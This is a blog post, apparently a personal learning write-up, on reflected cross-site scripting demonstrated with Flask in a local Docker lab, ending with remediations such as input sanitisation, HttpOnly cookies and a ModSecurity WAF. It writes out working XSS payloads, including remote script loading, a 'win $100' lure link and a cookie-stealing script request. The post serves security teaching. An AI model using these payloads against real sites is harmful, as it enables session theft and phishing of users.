Part 1: Learning web security – Reflected Cross-site Scripting (XSS)

As part of my personal growth, I decided to learn web security. This blog post is going to demonstrate one of OWASP’s top ten vulnerabilities called “Cross-site scripting”. The exercises in this blog post demonstrate the vulnerability within code. Take part in my journey as I learn the web with this vulnerability known as cross-site scripting. 

DISCLAIMER

The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises. 

DISCLAIMER

Intro

As part of my personal growth, I decided to learn web application security. This security topic has always been one that I have dabbled in but never did a deep dive into the topic. Thankfully my day time job endorses its employees to grow in different areas of technology and security. With the mentoring of some awesome folks at my day job, I have been doing one hour sessions a week to learn web security. After each mentoring session, I am given a homework assignment and these blog posts will serve as my journey to learn web security and a write-up of my homework assignment.

Background

What is the URL schema?

Figure 1: URL schema diagram from the Tangled Web

First, we need to discuss one of the most important aspects of the web which is the URL schema. The figure above (Figure 1: URL schema diagram from the Tangled Web) shows different segments of the URL schema, which are: scheme, hierarchical URL, credentials, server address, port to access server, a path to the resource, the query string, and the fragment identifier.  The scheme segment defines the protocol being used to access the server followed by [html]:[/html].

The most commonly supported protocols are HTTP, HTTPS, and FTP. The hierarchical URL is pretty simple because it is just [html]//[/html]. The credentials segment has the following layout which is [html]<username>:<password>@[/html]. This segment is optional and is not very common anymore because of the use of HTML forms. The next segment is the address which is typically an IP address or an FQDN. Following the server address is [html]:<port>[/html] where a port is specified to access to the service on the server if no port is specified then the scheme/protocol default is used (HTTP – 80, HTTPS – 443, FTP – 21).

Next, the path to a resource is defined which takes on the syntax of the Linux filesystem. In the early years of the internet the browser would request specific files on the system, such as /index.html but today most paths don’t contain file extensions, such as /index. Following the path is the query string which starts with a [html]?[/html] followed by key-value pairs. The key-value syntax is typically [html]<key name>=<value>&<key name>=<value>[/html] but web applications have deviated from this standard. Lastly, the fragment segment which is an optional section that defines a specific HTML anchor tag on the page. For example, if you want a user to access a website at a specific header you would specify the anchor for that header in the fragment section.

Example URL: http://admin:password@1.1.1.1:8080/index.html?query=helloword#header1

  • scheme: http:
  • hierarchical: //
  • Credentials: admin:password@
  • Server address: 1.1.1.1
  • Port number: :8080
  • Path to a resource: /index.html
  • Query string: ?query=helloword
  • Fragment: #header1

This blog post is going to demonstrate how to perform reflected cross-site scripting (XSS) when a URL contains a query string. The query string is controlled by the user and this input is accepted by the server. This inherent trust allows an attacker to take advantage of this vulnerability to render malicious code on a user’s browser.

What is reflected cross-site scripting (XSS)?

Cross-site scripting (XSS) is a web application vulnerability that permits an attacker to inject code, (typically HTML or JavaScript), into the contents of an outside website. When a victim views an infected page on the website, the injected code executes in the victim’s browser. Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser. The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts.

The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts. To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or in social media). The link is embedded inside an anchor text that provokes the user to clicking on it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.

What is a WAF?

A web application firewall (WAF) is an application firewall for HTTP applications. It applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and SQL injection. This blog post will demonstrate how a WAF in front of a web app can mitigate attacks like cross-site scripting (XSS).

Exercise

Today’s exercises will demonstrate with code how to exploit reflected cross-site scripting. All of our exercises will use the Python web framework Flask to serve our malicious web application. Our first exercise will take in malicious code via the URL query string and execute it. Our second exercise will show how to take in malicious code via the URL query string and render it on the HTML page.

Our third exercise will improve upon method two but the malicious code will be pulled down from a remote server and rendered. The fourth exercise is showing how you might invoke a user to click on your malicious link that includes XSS. Our last exercise will show how to retrieve the user’s cookie with XSS.  In the end, I will wrap it up by demonstrating different mitigations against XSS.

Pull down and setup Docker stack

  1. git clone https://github.com/CptOfEvilMinions/LearniningWebSec.git
  2. cd LearniningWebSec/hw1
  3. docker-compose up
  4. Open a browser and browse to “http://localhost:5000/status”

 

Exercise 1: Getting our feet wet

The code segment below (Figure 2: Flask code for vulnerable_query_no_render) has Flask listening for HTTP GET requests destined for the resource path of /vulnerable_query_no_render. When a request comes in on this endpoint the query string is extracted from the URL and the query string is returned to the user.

Figure 2: Flask code for vulnerable_query_no_render

Open a browser such as FireFox and enter http://127.0.0.1:5000/vulnerable_query_no_render?query=<script>alert('XSS Exploit worked')</script> into the address bar. The screenshot below (Figure 2: Firefox rendering the user’s URL query) demonstrates that we have successfully instructed the browser to execute code which was <script>alert('XSS Exploit worked')</script>

Figure 3: Firefox rendering the user’s URL query

The screenshot below (Figure 4: Source code of vulnerable_query_no_render) is displaying the code being sent from the Flask server, which is our malicious code from the URL query string.

Figure 4: Source code of vulnerable_query_no_render

Exercise 2: Rendering the malicious code

The code segment below (Figure 5: Flask code for vulnerable_query_render) is the same as above except with an HTML document. Flask is extracting the URL query string, grabbing the HTML document for the request, placing the URL query string into the document, and returning the rendered document to the user’s browser.

Figure 5: Flask code for vulnerable_query_render

First, we will attempt http://127.0.0.1:5000/vulnerable_query_render?query=<script>alert('XSS Exploit worked')</script> into the address bar, which should render our malicious code as a string like in the screenshot below (Figure 6: Firefox rendering the user’s URL query).

Figure 6: Firefox rendering the user’s URL query

If we look at the HTML source code (Figure 7: Firefox HTML source for rendering the user’s URL query) by right-clicking on the page and selecting “View page source”, we can see the browser is being told to render our “malicious code” as text. Flask and Jinja are working together to sanitize the input from the user. This means any input from the user that includes characters such as starting tags (<) and ending tags(>) for HTML will be replaced. In the example above, the starting tag [html]<[/html] is being replaced with &+lt; (ignore the “+” character because it is being used as an “escape character”), which is rendered by the browser as [html]<[/html].

Figure 7: Firefox HTML source for rendering the user’s URL query

One method would be to find a way around this sanitization but for this example (Figure 8: Disabling Jinja sanitization), we are going to be lazy and turn off sanitization. By piping our variable into | safe which instructs Jinja that we are trusting the input of “query” and to NOT sanitize the data which allows this exploit to work (Figure 9: Running code without sanitization). We can confirm this by right-clicking on the page and selecting “View page source”, we can see the browser is being told to render our malicious code (Figure 10: HTML source code for code without sanitization).

Figure 8: Disabling Jinja sanitization

 

Figure 9: Running code without sanitization

 

Figure 10: HTML source code for code without sanitization

Exercise 3: Request a remote source

Now we will request the browser to make a request out to a remote server to pull down malicious Javascript and execute it. Our SimpleHTTPServer is serving “vulnerable_js.js” on port 8000 which contains the malicious code in the screenshot below (Figure 11: Malicious Javascript: vulnerable_js.js).

Figure 11: Malicious Javascript: vulnerable_js.js

Open a browser and enter http://127.0.0.1:5000/vulnerable_query_render?query=<script src="http://localhost:8000/vulnerable_js.js" type="text/javascript"></script> into the address bar. If everything works correctly, the browser will pull down malicious Javascript from a remote server and execute it. The malicious <script> blob above is instructing the browser to retrieve Javascript from a remote location defined by “src=” and it is also telling the browser the type of document (text/javascript).

Figure 12: Browser executing remote resource vulnerable_js.js

This screenshot (Figure 13: GET request by the browser for vulnerable_js.js) is showing the request for the malicious Javascript “vulnerable_js.js”

Figure 13: GET request by the browser for vulnerable_js.js

This screenshot (Figure 14: HTML source for requesting remote resource) is showing the source code of the page.

Figure 14: HTML source for requesting remote resource

Exercise 4: Invoking the user

!!! MALICIOUS LINK !!!

This section includes a malicious link that will make YOUR browser execute code. This section is an example of how to invoke a user to click on a link, please proceed with caution. For this method to work please ensure that your Python web server is still running from the previous method. Next, HOVER over the malicious link below labeled “Click here to win $100”, in Firefox the real URL will be displayed in the bottom left (Figure 15: Displaying the hyperlink URL).

!!! MALICIOUS LINK !!!

Figure 15: Displaying the hyperlink URL

The URL of the hyperlink above is:

[html]<p><a href=”http://127.0.0.1:5000/vulnerable_query_render?query=&lt;script src=&quot;http://localhost:8000/vulnerable_js.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;”>Click here to win $100</a></p>[/html]

The malicious link uses an anchor tag “<a>” to highlight the link and specifies the title of the link as “Click here to win $100” but the resource is being set to [html]http://127.0.0.1:5000/vulnerable_query_render?query=…[/html]. So when a user selects this link they think they are about to win $100 but in reality, the browser is being directed to [html]http://127.0.0.1:5000/vulnerable_query_render?query=…[/html]. This is one way to get a user to select your malicious link. As an attacker, you could replace [html]http://127.0.0.1:5000/vulnerable_query_render?query=[/html] with any remote resource you want the browser to fetch and execute.

Exercise 5: Getting the user’s cookie

Once we have execution on a user’s browser we could instruct the browser to send the user’s cookie. If we make the following request: [html]http://127.0.0.1:5000/vulnerable_query_post_cookie?query=<script src=”http://127.0.0.1:8000/evil_js_post_cookie.js” type=”text/javascript”></script>[/html]. The code segment below (Figure 16: Setting the session cookie with Flask) is the same code segment we have seen previously in this post but with the addition of response.set_cookie. The first set_cookie function sets a key-value pair of not_secure_foo=not_secure_bar, which means the HttpOnly flag is set to false. The second set_cookie function sets a key-value pair of super_secure_foo=super_secure_bar and secure=True, which means the HttpOnly flag is set to true.

The HttpOnly flag in a cookie specifies if Javascript has the ability to read the cookie through the “document.cookie” function call. This flag was created to mitigate XSS attacks that use malicious Javascript to extract the cookie which is typically a session token.

We can see the HttpOnly flag working it’s magic below. The cookie key of “not_secure_foo” has HttpOnly set to False and “super_secure_foo” has HttpOnly set to True. When we ran our malicious Javascript it attempted to read the cookie data and send it to the remote server. However, our Python SimpleHTTPserver only received “not_secure_foo=not_secure_bar” because it’s HttpOnly flag was set to False.

Figure 16: Setting the session cookie with Flask

 

Figure 17: Showing the data in the cookie via Firefox

 

Figure 18: SimepleHTTPServer receiving a POST with the cookie data

Potential remediations

Sanitizing input

Lesson one of web app development is to NEVER trust user input. This statement is not implying you can’t trust your users but that you can’t trust the internet. The internet has web app scanners, people with malicious intent, and etc trying to break your web app. Sanitizing input it the most effective method to deter these individuals from performing XSS. Most frameworks like Flask will have modules like Jinja that will sanitize input from the user. As we saw above Jinja took the following input from the user [html]<script>alert(‘XSS Exploit worked’)</script>[/html] and sanitized it to [html]&+lt;script&+gt;alert(‘XSS Exploit worked’)&+lt;/script&+gt;[/html](ignore the “+”).

Web application firewall: Modsec

This docker-stack is running NGINX with the default Modsec ruleset in prevent mode. Let’s see how it does.

  1. docker-compose -f docker-compose-waf.yml build nginx-waf
    1. It will take about ~15mins to build the NGINX container with modsec
  2. docker-compose -f docker-compose-waf.yml up
  3. Open a browser and enter http://127.0.0.1:8080/vulnerable_query_no_render?query=<script>alert('XSS Exploit worked')</script>

As you can see in the screenshot above, Modsec prevents the attack from happening.

Additional resources

DISCLAIMER

The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises. 

DISCLAIMER

References

Leave a Reply

Your email address will not be published. Required fields are marked *